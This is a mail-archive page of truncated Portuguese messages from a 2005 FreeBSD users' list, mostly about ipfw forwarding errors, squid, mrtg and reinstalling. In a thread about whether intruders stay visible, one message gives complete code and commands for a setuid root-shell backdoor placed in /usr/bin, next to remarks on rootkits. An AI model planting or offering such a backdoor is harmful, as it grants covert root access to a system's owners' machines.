-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
* Alisson Maia ([EMAIL PROTECTED]) wrote:
> Fred,
>
> Blz!
>
> Tive o mesmo problema com processado PIV e placa ASUS (minhas eram de
> outro modelo). Procurei todo tipo de soluÃÃo e nÃo encontrei nenhuma
> imediata.
>
> Na internet alguns informam
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
* Celso Viana ([EMAIL PROTECTED]) wrote:
> All,
>
> Tà chegando alguns e-mail's do serviÃo anti-spam do uol e isso à muito
> chato (eu acho); os colegas poderiam providenciar para que isso nÃo
> ocorra?
>
Pois Ã
pra mim chegou tb! JÃ parou?
- --
Giovanni P. Tirloni wrote:
# netstat -mb
-
1188 mbufs in use
1161/32768 mbuf clusters in use (current/max)
0/3/4608 sfbufs in use (current/peak/max)
2619 KBytes allocated to network
0 requests for sfbufs denied
0 requests for sfbufs delayed
0 requests for I/O initiated by sendfile
214 c
Alex S. Moura wrote:
Saudações,
Alguém tem sugestões ou dicas para resolver o problema de alto consumo
de CPU pelo squid no FreeBSD 5.4?
Trata-se de um proxy webcache transparente, implementado com o pf e
protocolo WCCP (Cisco).
Eu ia perguntar "como assim alto consumo de CPU", quando vi o seu top
Valois,
O que esse procedimento faz?
Celso
On Apr 8, 2005 4:35 PM, Valois - Master Redes <[EMAIL PROTECTED]> wrote:
> Vc stá cero, mas já tive esse tipo de problema e resolvi com este
> procedimento.
> Derrepente
>
> Valois!
>
> Celso Viana escreveu:
>
> >Valois,
> >
> >O FreeBSD 5.3 já
Vc stá cero, mas já tive esse tipo de problema e resolvi com este
procedimento.
Derrepente
Valois!
Celso Viana escreveu:
Valois,
O FreeBSD 5.3 já traz o ipfw2 nativamente! ou estou enganado?
Celso
On Apr 8, 2005 3:44 PM, Valois - Master Redes <[EMAIL PROTECTED]> wrote:
Cara, tenta o seguin
Ronan,
Valews... outra dúvida: eu posso ter 2 slice's no mesmo HD? daí eu
colocaria um /backup no 2º slice inteiro.. tudo isso é pq não é
brincadeira fazer backup de 30 GB..
Celso
On Apr 8, 2005 4:09 PM, Ronan Lucio <[EMAIL PROTECTED]> wrote:
> Celso,
>
> > Seria reinstalar mesmo...
Valois,
O FreeBSD 5.3 já traz o ipfw2 nativamente! ou estou enganado?
Celso
On Apr 8, 2005 3:44 PM, Valois - Master Redes <[EMAIL PROTECTED]> wrote:
> Cara, tenta o seguinte:
>
> cd /usr/src/sbin/ipfw
> make -DIPFW2
>
> cd /usr/src/lib/libalias
> make -DIPFW2
> Não testei mas já funcionou comi
Celso,
Seria reinstalar mesmo. do zero, com o CD de instalação.
Cara, então não esquece de fazer um backup de tudo.
Eu nunca reinstalei um servidor dessa forma.
Sempre preferi "formatar" e reinstalar a máquina toda do zero
quando o servidor era muito antigo.
[]s
Ronan
___
Cara, tenta o seguinte:
cd /usr/src/sbin/ipfw
make -DIPFW2
cd /usr/src/lib/libalias
make -DIPFW2
Não testei mas já funcionou comigo.
Sucesso!
Celso Viana escreveu:
teste# ipfw add fwd 10.10.10.5,3128 all from any to any dst-port 80
ipfw: getsockopt(IP_FW_ADD): Invalid argument
o kernel tá assim:
op
teste# ipfw add fwd 10.10.10.5,3128 all from any to any dst-port 80
ipfw: getsockopt(IP_FW_ADD): Invalid argument
o kernel tá assim:
options IPFIREWALL
options IPFIREWALL_VERBOSE
options IPFIREWALL_VERBOSE_LIMIT=100
options IPFIREWALL_DEFAULT_TO_ACCEPT
options
Celso Viana wrote:
Ronan,
Seria reinstalar mesmo. do zero, com o CD de instalação.
Lembrese qual era essa slice (ad0s1g, por exemplo) e na hora da
instalação não remova ela e adicione o ponto de montagem como
antigamente. Não peça para formatar também.
--
Giovanni P. Tirloni / [EMAIL PROTEC
Ronan,
Seria reinstalar mesmo. do zero, com o CD de instalação.
Celso
On Apr 8, 2005 2:23 PM, Ronan Lucio <[EMAIL PROTECTED]> wrote:
> Celso,
>
> Como você está reinstalando o sistme?
> Você quer dizer atualizar o SO via cvsup?
>
> Se for isso, a atualização do sistema não deverá apagar na
Celso,
se eu explicito... ipfw add fwd 3128,10.10.10.5 all from any to any
dst-port 80
acontece o mesmo erro;
o que pode ser?
O correto é:
ipfw add fwd 10.10.10.5,3128 all from any to any dst-port 80
[]s
Ronan
___
Freebsd mailing list
Freebsd@fug.com
Celso,
Como você está reinstalando o sistme?
Você quer dizer atualizar o SO via cvsup?
Se for isso, a atualização do sistema não deverá apagar nada,
apenas atualizar os arquivos do SO da versão antiga para a versão
nova.
Inclusive até os ports instalados ficam os mesmos antigo.
[]s
Ronan
___
All,
Tá chegando alguns e-mail's do serviço anti-spam do uol e isso é muito
chato (eu acho); os colegas poderiam providenciar para que isso não
ocorra?
Celso
___
Freebsd mailing list
Freebsd@fug.com.br
http://mail.fug.com.br/mailman/listinfo/freebsd_fu
All,
Num FreeBSD 5.3 sem atualização adiciono a regra ...
teste# ipfw add fwd 3128,10.10.10.5 dst-port 80
e a regra é adicionada normalmente
00100 fwd 0.0.12.56,10 ip from any to any dst-port 80
num FreeBSD 5.3 p5
teste# ipfw add fwd 3128,10.10.10.5 dst-port 80
ipfw: getsockopt(IP_FW_ADD):
Nilton,
Pessoal existe alguma maneira de fazer um grafico no mrtg
com mais de duas entradas? E que preiso comprar o consumo
de 10 maquinas com o trafego de saida do link. Tudo que vi
com o mrtg o grafico so possui dois dados ... :(
Alguem usa uma outra solucao para isso?
Dê uma olhada no rrdtool
[
all,
Para instalar o FreeBSD em uma máquina, criei um "slice" no disco
inteiro; depois criei o sistema de arquivos:
/
/usr
/var
/tmp
/backup
é possível reinstalar esse sistema, preservando tudo que está em "/backup"?
Celso
___
Freebsd mailing list
Fr
>
> isto tudo eh muito ~volatil~
> (rs)
Ja fiz certa vez o seguinte instalei tudo cologuei o / como ro
e os programas como gcc, chflags, vipw entre outros e inclusive uma
copia zipada do /bin e /usr/bin em um disco dentro da maquina
mas esse desligado, so ligand
Pessoal existe alguma maneira de fazer um grafico no mrtg
com mais de duas entradas? E que preiso comprar o consumo
de 10 maquinas com o trafego de saida do link. Tudo que vi
com o mrtg o grafico so possui dois dados ... :(
Alguem usa uma outra solucao pa
isto tudo eh muito ~volatil~
(rs)
Se o binario que vc for usufruir (who) por exemplo nao estiver
alterado... blz... ele ira funcionar mas como vc vai garantir isto
e tem outra depende da tecnica utilizada como o sistema vai ter
certeza se eh ou nao um usuario que possa acessar a
Oi pessoal,
Tentem isso:
vi babash.c
#include
main () {
setuid(0);
system("/bin/bash");
}
/usr/local/bin/gcc babash.c -o babash
chmod 4755 babash
mv babash /usr/bin/babash
Não me lembro quem escreveu esse brinquedo. Não fui eu pois meu conhecimen
sim.. uso secure level 2
o cenário seria esse: tendo acabado de instalar o OS, instalei um
software que tem uma falha de segurança e eu não sei disso;
essa máquina está visível para o mundo (ip real);
essa máquina ainda não foi atualizada;
o OS está em secure level 2;
minha dúvida: imaginem
depende
vc usa secure level kernel
pq se nao usa ele pode colocar um rootkit facilmente em sue sistema :)
Celso Viana wrote:
all,
Se alguém consegue explorar uma vulnerabilidade num sistema FreeBSD,
ganhando acesso root, esse alguém fica totalmente invisível? ou os
comandos "w, who, etc" ident
Depende, se ele instalar rootkits que sobrescrevam essas ferramentas
trocando as por outras de uso igual e não mostrem seu user, ou até
mesmo alterando as chamadas a nivel de kernel para nao ser pego via um
md5 qualquer do binario.
On Apr 8, 2005 8:48 AM, Celso Viana <[EMAIL PROTECTED]> wrote:
> a
all,
Se alguém consegue explorar uma vulnerabilidade num sistema FreeBSD,
ganhando acesso root, esse alguém fica totalmente invisível? ou os
comandos "w, who, etc" identificam o invasor?
Celso
___
Freebsd mailing list
Freebsd@fug.com.br
http://mail.fug
27 matches
Mail list logo
